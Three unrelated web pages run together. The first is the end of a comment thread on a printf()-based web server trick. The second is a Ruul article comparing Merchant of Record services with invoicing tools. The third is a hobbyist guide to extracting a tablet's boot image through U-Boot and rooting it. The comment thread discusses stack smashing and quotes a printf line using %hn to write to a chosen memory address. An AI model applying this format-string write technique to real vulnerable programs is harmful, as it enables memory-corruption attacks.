finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://ruul.io/blog/mor-vs-invoicing-tools | Merchant of Record vs Invoicing Tools: Key Differences Explained Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid Merchant of Record vs Invoicing Tools Understand the difference between Merchant of Record (MoR) services and invoicing tools. Learn how each handles payments, taxes, and compliance—and which is best for your business or freelance setup. Umut Güncan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Merchant of Record (MoR) handles global payments, taxes, compliance, fraud → you work, it pays . Invoicing tool creates and sends invoices → you chase, you file . Pick MoR when you: Sell subscriptions or high volume Aim for global clients Want next-day payouts Pick invoicing when you: Stay local Issue a few invoices Prefer full manual control Cost tip: Compare total cost, not sticker price. MoR often wins once you add tax hours and chargeback risk. → More than 100,000 independents use Ruul as an MoR to clear payments in under 1 day . Picture payments landing within days, no forms, no follow-ups. Two tools can make that happen: Merchant of Record and Invoicing Tools. This guide weighs the two, so you can choose the route that boosts independence and cuts admin. What exactly is a Merchant of Record (MoR)? Merchant of Record services: Acts as a legal seller: You skip registration stress. Files taxes: No 3 AM form panic. Follows global rules: You stay compliant anywhere. Sends payouts on schedule: Money lands faster. A Merchant of Record (MoR) is a third-party payment infrastructure that legally sells your service to your customers. The MoR buys the service from you, then resells it to your customer. This setup allows them to manage a whole range of financial processes, from VAT (Value Added Tax) to chargebacks. If this is your first time hearing about MoRs, you might recognize the most popular Merchant of Record platforms : Ruul , Paddle, Dodo Payments, Gumroad, and Lemon Squeezy. Merchant of Record services in detail People often confuse a Merchant of Record (MoR) with a Payment Processor or an Invoicing Tool. But to make the right choice, you need to understand the differences: A payment processor prioritises secure transactions when accepting payments from your customers. An invoicing tool is for issuing professional invoices to your customers. An MoR does both of these things and takes on several other critical roles: It accepts payments from your customers. You can use various payment methods, including credit cards, bank transfers, e-wallets, and crypto. Plus, it manages relationships with payment networks. It issues and sends legally compliant, localized invoices to your customers. Two invoices are created. One is for your business and the MoR, while the other is for the MoR and the end customer. It automatically calculates, collects, declares, and pays sales taxes like VAT and GST to the relevant tax authorities. It uses cutting-edge systems and AI tools to cut down fraud risk in transactions. It also blocks any suspicious activities right away. It takes care of customer disputes and chargeback issues for you. It collects the needed evidence and settles disagreements. This reduces your stress and saves you time during your work. Here is a dashboard screen from Ruul so you can see how it works: Does an MoR free you from the hassle of hiring an accountant? Yes, in most cases, it does! It all depends on what you’re selling, where you’re selling it, who your customers are, and your business setup. A Merchant of Record (MoR) handles a lot on your behalf: It collects payments from customers. It calculates taxes (like VAT, sales tax, GST, etc.). It issues invoices . It ensures compliance. And if needed, it manages refunds and chargeback processes. This means you don't have to deal with: VAT rates, tax declarations, or issuing invoices for each customer. If you sell abroad, you have to deal with different tax and e-invoicing systems. Each country has unique rules, so you must adapt to them. Doing this keeps you compliant and helps transactions run smoothly. Using an MoR cuts down the areas where you usually need an accountant. But does it cut the need for one entirely? No: An MoR doesn't declare your income tax or withholding tax in your home country. That's still your responsibility. If you own a company, you may still need an accountant. They handle annual declarations, manage bank accounts, and keep track of expenses. When should you choose a Merchant of Record? There are a few situations where I'd definitely tell you to choose an MoR: 1. To work globally Customers can come from anywhere in the world. If you don't want to limit yourself to local clients, you should definitely go with an MoR . This way, you won't have to worry about calculating VAT for each country. You can stop tracking tax laws and scrambling to remain compliant. What's more, it helps you avoid tax penalties and allows you to offer local payment methods to your customers. Hear what Gizem, a Ruul user, says: “When I moved to France, I also relocated my company to this country. Then, I had to handle a lot of international transactions. That's when I started working with Ruul. Now, I can work with any country. I don't have to limit my clients to certain payment methods, and they love it.”” 2. To offer subscription-based services MoRs let you sell almost any software, product, app, or service as a subscription. If you're aiming to make one of your offerings a subscription for regular income, an MoR is key. Let's say you're a freelancer. Your client frequently orders services from you. They might ask for 10 Instagram posts a month, 8 blog posts each month, or other similar services. With MoR platforms, you can easily turn this recurring service into a package. You can turn the package into a subscription plan . This automates the whole process. Think of your MoR saying: “I'll take care of the boring stuff. Subscriptions, collections, failed payments. Just keep doing your thing.” manages the subscription for you, handles automatic collections, and even simplifies dunning (failed payment recovery) processes. 3. For high sales volume More sales mean more responsibility. If you're managing just one or two clients, that's fine. But how are you going to handle 10 clients individually? Invoicing each one, requesting payments, and then following up. That feels incredibly clunky in 2025, right? If you don't manage this yourself, you'll need to hire an accountant or an assistant. That's far more expensive than working with an MoR. Freelancers with high sales volume should switch to an MoR to save time and money. 4. For starting fresh The way you start your business often sets the tone for how it continues. When you're just beginning, try to stick to the principle of "don't complicate, simplify." Diving into taxes and laws from the start can wear you out. It makes it hard to focus on your main tasks. If I were a new freelancer, I wouldn't want to deal with invoices and VAT on top of all the other complexities. A scalable MoR for my growing business, so I can focus on finding clients and completing projects. That's why an MoR is a great starting point to keep you from stumbling in the initial stages. This way, early in your career, you'll focus on "How do I find my first client?" rather than "How do I issue an invoice?" This is truly the kind of mindset every freelancer should have. What exactly is an invoicing tool? Invoicing tool, in short: Generates PDF bills: You still send them. Sets due-date alerts: You do the follow-ups. Leaves taxes to you: Extra paperwork hours. Lets clients delay: Cash flow stays shaky. As the name suggests, an invoicing tool is primarily used for creating invoices. It also helps you track time, generate income and expense reports, and generally look more professional as a business. The key difference between this method and an MoR is that you can tailor your invoices with invoicing tools. While an MoR serves as an invoicing tool, an invoicing tool cannot serve as an MoR. The reason is simple: An MoR can issue invoices just like an invoicing tool. Invoicing tools lack the full legal and tax compliance, fraud prevention, and international payment management features that a MoR offers. Are invoicing tools enough on their own? Using invoicing tools to issue invoices is a crucial step for your business. But they aren't enough on their own. That's because these tools don't take on the legal and tax responsibilities that an MoR does. You can either use an invoicing tool and handle many tasks yourself, or you can use an MoR and pass on those responsibilities. If you’re starting as a freelancer, getting wrapped up in complicated invoicing can distract you from the key job: landing your first client . When should you use an invoicing tool? You can use an invoicing tool in these situations: 1. You only have local clients If you only work with local clients, you don't need to worry about VAT rates in different countries. In this case, an invoicing tool isn't a bad idea. It'll be easier to follow your country's laws and manage taxes accordingly. 2. You can manage tax and legal processes yourself If you're already an expert in tax laws, then an invoicing tool can work for you. However, you'll have to do most things manually, so ask yourself if you have enough time and money for that. 3. You want to issue customized invoices If you want to give off more of a business vibe than just a solo freelancer, customized invoices are a good idea. They also help with your branding. Unlike invoices from an MoR, you'll have more customization options for your own invoices. Critical differences: What MoRs do that invoicing tools don't A Merchant of Record (MoR) takes on many more tasks than invoicing tools do. Especially for those aiming to go global, an MoR offers a secure and fast way to sell services in different countries. This positions the MoR as more than just a simple financial tool. It's like an "e-commerce ecosystem manager." To help you better understand the difference, I'll highlight some key points you'll find with an MoR, but not with invoicing tools: 1. Tax calculation and global compliance Global compliance is the first thing invoicing tools don't handle. Tax rates vary in every country, and they're constantly changing. Keeping track of all of them yourself is almost impossible. But MoR platforms exist to solve this problem. An MoR automatically calculates the taxes for each country and collects them from your customer. Then, it declares and pays those taxes to the local tax authorities. You stay legally compliant without lifting a finger. 2. Multiple currency and payment method support Customers are particular about payments. If you send them an unfamiliar payment link, they'll likely avoid paying. That's why you need to offer a localized payment screen where they can pay in their own currency. MoRs typically earn this trust by allowing local credit cards, bank transfers, and e-wallets. When customers don't encounter a foreign payment screen, their trust increases, making them more likely to continue working with you. At Ruul, we've pushed the boundaries further. We offer Binance integration , allowing you to accept payments with USDC. Freelancers love this, as these payments hit their accounts at lightning speed. 3. Fraud prevention and chargeback management A chargeback happens when a customer disputes a transaction through their bank. These often succeed, making chargebacks an easy target for fraud. For example, bad actors might get a credit card, buy a random product, then request a refund through their bank. Their goal is to turn the credit limit into cash. As chargebacks increase, your payment provider might flag you as a low-reliability seller. They could even freeze your account. So, as a seller, you need to fight to reduce chargeback risk. But MoRs handle this fight for you . MoRs use AI-powered detection tools to prevent fraud. They spot suspicious transactions. Their support team quickly blocks these. If you get into trouble, they gather evidence and defend you. This is a unique advantage MoRs offer to protect your money and time. Invoicing tools simply don't provide this level of fraud or chargeback protection. 4. Subscription management and automated collections I've mentioned this before, but it's another thing you can't do with just an invoicing tool. MoRs automate the entire subscription lifecycle. This includes recurring payments, plan changes (upgrades/downgrades), cancellations, and even handling failed payments ( dunning management ). And completely removes the need for manual tracking and ensures your income stream is continuous. Invoicing tools usually don't offer such comprehensive subscription management. You'd have to manage these processes manually or by using additional software. 5. Customer support and communication responsibility An MoR provides support to your customers for any payment-related questions or issues. This means your customers won't ask you for help with payments; instead, they'll contact the MoR, who is the legal seller. This saves you time and cuts down on customer service costs. However, an invoicing tool doesn't do this. Since you're acting as the legal seller, you'll have to take on all communication responsibilities related to payments yourself. 6. Easy and fast access to global markets An MoR removes the burden of setting up local bank accounts in every market you enter. Since the MoR makes the sale, you don't need your own local account. This gives you more courage and motivation to enter new markets. The MoR's integrated approach dramatically reduces your operational workload. It presents you to your clients more professionally, helping you build a traceable, scalable, and professional freelance career. In contrast, invoicing tools offer no features to help you sell globally. Which one is more affordable? So far, we've talked about what the Merchant of Record and invoicing tools offer. One of our most important comparison points, of course, is cost. Given all that an MoR does, you might be thinking it charges higher fees. But that's usually not true. You will find affordable Merchant of Record options. Let's do a quick calculation. MoRs generally charge a fee of 5% to 10% per transaction. For instance, at Ruul, this rate is a fixed 5%, and everything is included in that fee. Invoicing tools, on the other hand, typically require a monthly subscription plan. These plans can start from a minimum of $10 and go up to $100 per month. This means that with MoR platforms, you're looking at a pay-as-you-go model. If you don't earn money, you don't pay commission. But with invoicing tools, you're stuck with a monthly payment even if you're not making any money. However, the real key here is the "total cost of ownership." Remember what we said earlier? An invoicing tool only creates invoices for you. An MoR does much more. Here are some of the cost savings that an MoR offers, even though it might seem more expensive at first glance: 1. Legal consulting costs You'll need legal advice to comply with regulations like GDPR and PCI DSS. An MoR is an expert at ensuring compliance with these legal regulations, so you won't need to spend extra money on them. 2. Losses from fraud If you use an invoicing tool, you'll need to integrate software to prevent chargeback risks, and that's an added cost. Plus, there's always a chance you could lose money if a chargeback goes through. However, an MoR includes built-in fraud detection software, saving you that expense. It also gathers evidence and disputes chargebacks itself. So, you won't pay for extra software, nor will you lose money due to chargebacks. It's a complete win-win. 3. Multiple payment gateway integration Let's say you want to integrate local payment methods specific to customers in different countries. If you do this with an invoicing tool, you'll have to set up agreements with multiple payment gateways and cover the resulting costs. However, MoRs come with local payment integrations for the countries they support. This means you don't have to do anything extra when a new customer comes from a different country. In short, if you don't use an MoR, you're open to potential risks and you'll bear the costs. MoR platforms are absolutely worth the price, and when you look at the total cost of ownership, they almost always save you money. MoR vs. Invoicing Tool: Impact on sales and marketing Both a Merchant of Record (MoR) and an invoicing tool can affect your sales and marketing performance. MoR: Makes selling easier, sometimes even sells for you An MoR has a big impact on sales and marketing. It's not just about taking payments. It's about offering a safe and smooth experience in a larger market. Thanks to the MoR's infrastructure, customers have a professional and trustworthy payment experience. This makes them feel like, "Okay, I can buy this with peace of mind." MoR systems handle invoicing, tax calculation, and collections for you. This frees you from operational tasks. So, you can focus more on getting new customers. Some MoRs (like Ruul 👋) also help with marketing. For example, they offer features like portfolio creation. This makes it easier to convince customers. If you want to reach more customers in international markets, an MoR offers local payment methods. You can market in any country you want without hesitation. Invoicing Tool: Necessary, but no magic wand Invoicing tools are great; they bring order. But they don't really change the game for sales and marketing like an MoR does. Sure, you can add your logo and company name. That's important for looking like a professional brand. But by itself, it has weak "persuasion" power. The biggest drawback: everything is manual. Creating a separate invoice for each client, tracking payments, sending reminder emails... by the time you're done, the day is over. This buries you in "task management" rather than "client acquisition." Then there are payment delays, of course. You send your invoice, but payment doesn't come right away. Sometimes, it doesn't come at all 🙃 This shakes your income balance, dries up your marketing budget, and stresses you out. Scalability: Growing from solo freelancer to a serious business Freelancing isn't a typical 9-to-5 job. Your client load and income will go up and down. As you gain more experience, you'll need to earn more money and attract more clients to improve your quality of life. For this to happen, you need to build a scalable business model that can easily grow when the time comes. Let's compare MoR and invoicing tools from this perspective: MoR: An infrastructure ready for growth With an MoR, you can aim for more clients, more countries, and more income. It offers greater scalability when you want to grow your business. Let's take Ruul as an example: It supports 190 countries and 140 currencies. This means you have 190 different opportunities and countless customer types you can target anytime. Trying to reach such a vast market with an invoicing tool would create a huge time drain and cost burden. Instead, with an MoR, you can expand into any market you want, easily onboard customers into the system, and track all your invoices from a single place. Invoicing tools are efficient for small-scale Invoicing tools usually only support a few currencies and limited payment methods. So, they're good when you're only selling to local clients. Plus, if your business volume is small and you don't have many invoices to manage, an invoicing tool won't be a burden. However, since these tools are limited to just a few currencies, expanding into a new market will create extra costs and time demands. You might even need to hire an accountant and an assistant to get the flexibility an MoR offers. Merchant of Record platforms for freelancers 1. Ruul In 2025, Ruul is one of the top MoR platforms for freelancers. It helps you sell digital products, services, or software—whether it's fixed-price or subscription-based. From a single platform, you can sell your services to 190 countries , issue invoices, receive payments, and operate with global tax compliance. Beyond just being an invoicing and MoR platform, Ruul offers an environment where you can combine your portfolio with sales . This transforms your portfolio from a passive element into a tool that actively attracts clients to you. It doesn’t matter if you’re looking for a Merchant of Record for SaaS or ecommerce, or a freelance service. Here are some other features Ruul offers: Payment reminders: Put an end to late payments. Early payout: Get paid for an unfinished project. Portfolio creation: Showcase your portfolio and storefront in one place. Service packages: Sell ready-to-go, fixed-price service packages. Subscription management: Offer subscription-based products, services, and software. Pricing: It's pay-as-you-go, with a fixed 5% commission . No monthly subscription fees and absolutely no hidden charges! 2. Paddle Paddle is another MoR platform that focuses on digital products and subscription-based software/applications. It collects subscription fees for you, recovers failed payment attempts, and uses software to prevent your business from incurring losses. Pricing: 5% + 50 cents per transaction. No subscription plan. 3. Lemon Squeezy Lemon Squeezy handles the legal sale of your digital products and subscription software for you. It lets you sell your products individually or in collections. Plus, it helps you test your performance with comprehensive reporting. Additionally, just like the others, Lemon Squeezy comes with integrated software that helps reduce failed payment attempts and prevent fraud. Pricing: Lemon Squeezy charges 5% + $0.50 per transaction 4. Gumroad Gumroad is often one of the first names that comes to mind for digital products. It's a popular MoR for freelancers, content creators, and influencers. You'll typically find e-courses, e-books, and graphic design materials there. Creators can even collect tips from their fans. Pricing: It's 10% + $0.50 per transaction, which is among the higher fees. Invoicing Tools for freelancers 1. Invoice Ninja Invoice Ninja offers unlimited invoicing for up to 5 clients on its free plan. You can customize your invoices with your logo, company details, and choose from 4 free templates. If you have the Pro or Enterprise plan, you can even get profit and loss reports for custom timeframes. Pricing: Plans start from $10 per month. 2. FreshBooks FreshBooks creates professional invoices and helps you track your business's income and expenses. It really stands out for its accounting features, offering double-entry accounting tools and financial reporting for real-time tracking. Pricing: Plans start from $8.40 per month. A 30-day free trial is available. 3. Square Invoices Square Invoices allows for one-time or recurring invoices. Customers can pay quickly using methods like credit cards or mobile payments. It also differentiates itself with website creation, automatic reminder sending, and financial tracking features. Pricing: Plans start from $49 per month. 4. Copilot Beyond just invoicing, Copilot offers comprehensive features like a client portal, e-signature collection, knowledge base creation, and client relationship management (CRM). It comes with additional tools like file sharing, messaging, and contracts. Pricing: Plans start from $39 per month. 5. Harvest Harvest excels particularly in time tracking and project management. It works simply: you start a timer when you begin working and stop it when you finish. Its synchronization with apps like Slack, Trello, and Chrome also simplifies things. Pricing: Plans start from $11 per month. It includes a very limited free plan. 6. Zoho Invoice Zoho Invoice offers multiple invoice templates and flexible customization options. It has features like payment reminders, time tracking, and a client portal. Its usage and interface are quite clean and simple, making it ideal for freelancers, entrepreneurs, agencies, and consultants. Pricing: Plans start from $29 per month. How does Ruul simplify payments for you? Ruul makes payments easier for freelancers because it's a full-service Merchant of Record (MoR) . With support for 190 countries and 140 currencies , it provides a complete set of tools for you to work globally. Ruul automatically calculates VAT, issues invoices, collects payments from clients, and pays you however you prefer. Here's how Ruul helps: Crypto payment option: Get USDC instantly with Binance integration. Early payout advantage: Receive payment for unfinished projects early from Ruul. Automated invoicing: Stop manually invoicing for recurring services. Easy payment via link: Your client can pay securely without signing up for Ruul. Pay-as-you-go: A fixed 5% fee —you can pay it, or your client can. We've successfully completed over 140,000 transactions on Ruul and achieved 98% customer satisfaction. Try Ruul for free and see how simple freelancing can really be! FAQs 1. What is the difference between a merchant of record and a payment gateway? A Merchant of Record (MoR) takes legal liability for transactions, handling taxes and compliance. A payment gateway simply processes the technical routing of funds, connecting your customer to the payment network. 2. What is a Merchant of Record? A Merchant of Record (MoR) is a legal entity that resells your service, taking on all financial and legal responsibilities like taxes, compliance, and chargebacks. It simplifies global sales. 3. What is the difference between a merchant and a payment provider? A merchant is the business selling the product or service. A payment provider (like a payment processor or gateway) offers the technical means to accept payments, but the merchant retains legal liability. 4. What is the difference between a payment facilitator and a merchant of record? A Payment Facilitator (PayFac) simplifies payment processing for sub-merchants under their own merchant account. A Merchant of Record (MoR) goes further, taking full legal and financial responsibility for the sale itself, including tax and compliance. ABOUT THE AUTHOR Umut Güncan With a degree in electronic engineering, Umut has over 15 years of experience in the industry. For the past 8 years, he has been leading tech and product teams at companies including Getir, specializing in crafting standout products that give these companies an edge. More Money Management Tips for the Digital Nomad Looking to manage your finances on the go? Learn essential strategies for digital nomads to maintain financial stability and thrive. Read on for more information! Read more Kolektif House Marketing Manager İrem is sharing her expectations on the future of work Join Kolektif House Marketing Manager İrem as she shares her insights on the future of work. Explore expectations, trends, and opportunities shaping the workplace of tomorrow! Read more How to keep your skills sharp for the future of work It’s important to keep your skills sharp for a number of reasons, but the biggest reason is the speed of current technological developments. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? 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https://tinyhack.com/2024/01/18/using-u-boot-to-extract-boot-image-from-pritom-p7/#comment-172117 | Using U-Boot to extract Boot Image from Pritom P7 – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Here is a close-up: The right-most pin is FEL if you want to enter FEL mode. But entering FEL mode can be done easily using: adb reboot efex . To test that the pin does output something, I just connected the ground to the USB-C ground and held my hand, pressing a cable on the TX pad during startup. No soldering is needed if you can hold your hand like this U-Boot Fortunately, we can break into u-boot (not locked down); from there, it is easy to dump the bootloader. There are many ways to do it, but this is how I did it. First, print the environment using env print to see what commands are used to load the boot partition: bootdelay=0 boot_normal=sunxi_flash read 45000000 boot;bootm 45000000 Note: I suggest you change the bootdelay to make it easier to enter U-boot next time. We can see that we can read the flash partition to a certain memory location using: sunxi_flash read 45000000 boot Now, we need to write this memory area to an SD Card. I prepared a FAT-formatted SD Card. Insert it, then: sunxi_card0_probe . This will detect the card. I need to do mmcinfo otherwise, the next command won’t work: mmc part Now we can test listing the content of the card: fatls mmc 0:1 . It should be empty since we just format it. Next is to write the memory to a file: fatwrite mmc 0:1 45000000 boot.img 4000000 . Note: all numbers are in hexadecimal. 64 Megabytes is just a common size for the boot partition. We can install Magisk APK to the tablet, run it, and then choose “Install” and “Select and patch file”. Patch our boot.img , then the magisk_patched_xx.img file can be flashed using : fastboot flash boot magisk_patched_xx.img . Magisk Installed I could have dumped all the partitions using u-boot, but I felt that u-boot is slow in writing to the SD Card. After we have a root access, we can easily dump the rest of the partitions by accessing the files in /dev/block/by-name . Conclusion I hope this guide can help you root your Allwinner device, even when you don’t have the original firmware. I think this device is not worth buying unless you have a specific need for it. This tablet is OK if you want to test your app for Android Go or 32-bit Android libraries. This is also a good tablet for learning to hack Android hardware. If you are using the same device and want to have the boot partition, you can download it here: please make sure that your hardware is exactly the same as mine to prevent bricking it. https://tinyhack.com/files/pritom-P7_EEA-boot.img Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 thoughts on “Using U-Boot to extract Boot Image from Pritom P7” Ivan says: February 9, 2024 at 8:58 pm ivan@M16 ~ % fastboot devices 3c000c4543c48701e19 fastboot ivan@M16 ~ % fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Please help to unlock Reply Ivan says: February 9, 2024 at 9:15 pm Developer options – ON, OEM Unlocking – ON Reply Ivan says: February 9, 2024 at 9:27 pm (bootloader) treble-enabled:true (bootloader) first-api-level:30 (bootloader) dynamic-partition:true (bootloader) system-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) snapshot-update-status:none (bootloader) super-partition-name:super (bootloader) hw-revision:0 (bootloader) off-mode-charge:0 (bootloader) battery-voltage:0 (bootloader) is-userspace:yes (bootloader) partition-type:bootloader_b:raw (bootloader) partition-type:dtbo_a:raw (bootloader) partition-type:vbmeta_vendor_b:raw (bootloader) partition-type:vendor_boot_b:raw (bootloader) partition-type:bootloader_a:raw (bootloader) partition-type:vbmeta_system_b:raw (bootloader) partition-type:userdata:raw (bootloader) partition-type:env_b:raw (bootloader) partition-type:boot_b:raw (bootloader) partition-type:misc:raw (bootloader) partition-type:dtbo_b:raw (bootloader) partition-type:env_a:raw (bootloader) partition-type:vendor_boot_a:raw (bootloader) partition-type:vbmeta_b:raw (bootloader) partition-type:vbmeta_a:raw (bootloader) partition-type:vbmeta_system_a:raw (bootloader) partition-type:media_data:raw (bootloader) partition-type:vbmeta_vendor_a:raw (bootloader) partition-type:boot_a:raw (bootloader) partition-type:metadata:raw (bootloader) partition-type:super:raw (bootloader) partition-type:system_a:raw (bootloader) partition-type:system_b:raw (bootloader) partition-type:vendor_a:raw (bootloader) partition-type:vendor_b:raw (bootloader) partition-type:product_a:raw (bootloader) partition-type:product_b:raw (bootloader) secure:yes (bootloader) battery-soc-ok:yes (bootloader) serialno:3c000c4543c48701e19 (bootloader) slot-count:2 (bootloader) cpu-abi:armeabi-v7a (bootloader) variant:NA (bootloader) has-slot:bootloader:yes (bootloader) has-slot:dtbo:yes (bootloader) has-slot:vbmeta_vendor:yes (bootloader) has-slot:vendor_boot:yes (bootloader) has-slot:vbmeta_system:yes (bootloader) has-slot:userdata:no (bootloader) has-slot:env:yes (bootloader) has-slot:boot:yes (bootloader) has-slot:misc:no (bootloader) has-slot:vbmeta:yes (bootloader) has-slot:media_data:no (bootloader) has-slot:metadata:no (bootloader) has-slot:super:no (bootloader) has-slot:system:yes (bootloader) has-slot:vendor:yes (bootloader) has-slot:product:yes (bootloader) product:P7_A1 (bootloader) is-logical:bootloader_b:no (bootloader) is-logical:dtbo_a:no (bootloader) is-logical:vbmeta_vendor_b:no (bootloader) is-logical:vendor_boot_b:no (bootloader) is-logical:bootloader_a:no (bootloader) is-logical:vbmeta_system_b:no (bootloader) is-logical:userdata:no (bootloader) is-logical:env_b:no (bootloader) is-logical:boot_b:no (bootloader) is-logical:misc:no (bootloader) is-logical:dtbo_b:no (bootloader) is-logical:env_a:no (bootloader) is-logical:vendor_boot_a:no (bootloader) is-logical:vbmeta_b:no (bootloader) is-logical:vbmeta_a:no (bootloader) is-logical:vbmeta_system_a:no (bootloader) is-logical:media_data:no (bootloader) is-logical:vbmeta_vendor_a:no (bootloader) is-logical:boot_a:no (bootloader) is-logical:metadata:no (bootloader) is-logical:super:no (bootloader) is-logical:system_a:yes (bootloader) is-logical:system_b:yes (bootloader) is-logical:vendor_a:yes (bootloader) is-logical:vendor_b:yes (bootloader) is-logical:product_a:yes (bootloader) is-logical:product_b:yes (bootloader) vendor-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) version-vndk:30 (bootloader) unlocked:no (bootloader) current-slot:a (bootloader) version-os:11 (bootloader) version-baseband: (bootloader) max-download-size:0x10000000 (bootloader) partition-size:bootloader_b:0x2000000 (bootloader) partition-size:dtbo_a:0x200000 (bootloader) partition-size:vbmeta_vendor_b:0x10000 (bootloader) partition-size:vendor_boot_b:0x2000000 (bootloader) partition-size:bootloader_a:0x2000000 (bootloader) partition-size:vbmeta_system_b:0x10000 (bootloader) partition-size:userdata:0x67C77BE00 (bootloader) partition-size:env_b:0x40000 (bootloader) partition-size:boot_b:0x4000000 (bootloader) partition-size:misc:0x1000000 (bootloader) partition-size:dtbo_b:0x200000 (bootloader) partition-size:env_a:0x40000 (bootloader) partition-size:vendor_boot_a:0x2000000 (bootloader) partition-size:vbmeta_b:0x20000 (bootloader) partition-size:vbmeta_a:0x20000 (bootloader) partition-size:vbmeta_system_a:0x10000 (bootloader) partition-size:media_data:0x1000000 (bootloader) partition-size:vbmeta_vendor_a:0x10000 (bootloader) partition-size:boot_a:0x4000000 (bootloader) partition-size:metadata:0x1000000 (bootloader) partition-size:super:0xC0000000 (bootloader) partition-size:system_a:0x305EA000 (bootloader) partition-size:system_b:0x0 (bootloader) partition-size:vendor_a:0x4F91000 (bootloader) partition-size:vendor_b:0x0 (bootloader) partition-size:product_a:0x4822D000 (bootloader) partition-size:product_b:0x0 (bootloader) security-patch-level:2022-10-05 (bootloader) version-bootloader:unknown (bootloader) version:0.4 Reply Ivan says: February 10, 2024 at 12:52 pm Also I can’t flash your boot image ivan@M16 ~ % fastboot flash boot /Volumes/Temp/pritom-P7_EEA-boot.img Sending ‘boot_a’ (65536 KB) FAILED (remote: ‘Download is not allowed on locked devices’) fastboot: error: Command failed Reply admin says: April 8, 2024 at 1:15 pm I think you are using a different device (not the same one as mine). So I am not sure what to do for your device. Reply Jimmy says: April 5, 2024 at 12:40 pm I just bought one of these tablets, and they can be okay for a grandparent or a child (or for playing around with root or for 3D printer screen etc.). Your detailed description of the process has helped me a lot. I would like to say thank you to everyone who wants to play around with this tablet (I ordered mine for 33 euros, and it has the same specs as yours). Reply jardel says: April 22, 2024 at 1:35 pm Oem Unlocking is on but when I try fastboot oem unlock: oem unlock ability is 0. Permission denied for this command Reply Jardel says: April 23, 2024 at 4:31 pm Using the exact same model with the same build. Oem unlocking option activated. Can you help me? C:\Users\Jardel>adb reboot fastboot C:\Users\Jardel>fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Reply admin says: May 20, 2024 at 1:39 am I guess in your particular model, the bootloader is forever locked? or may be try different 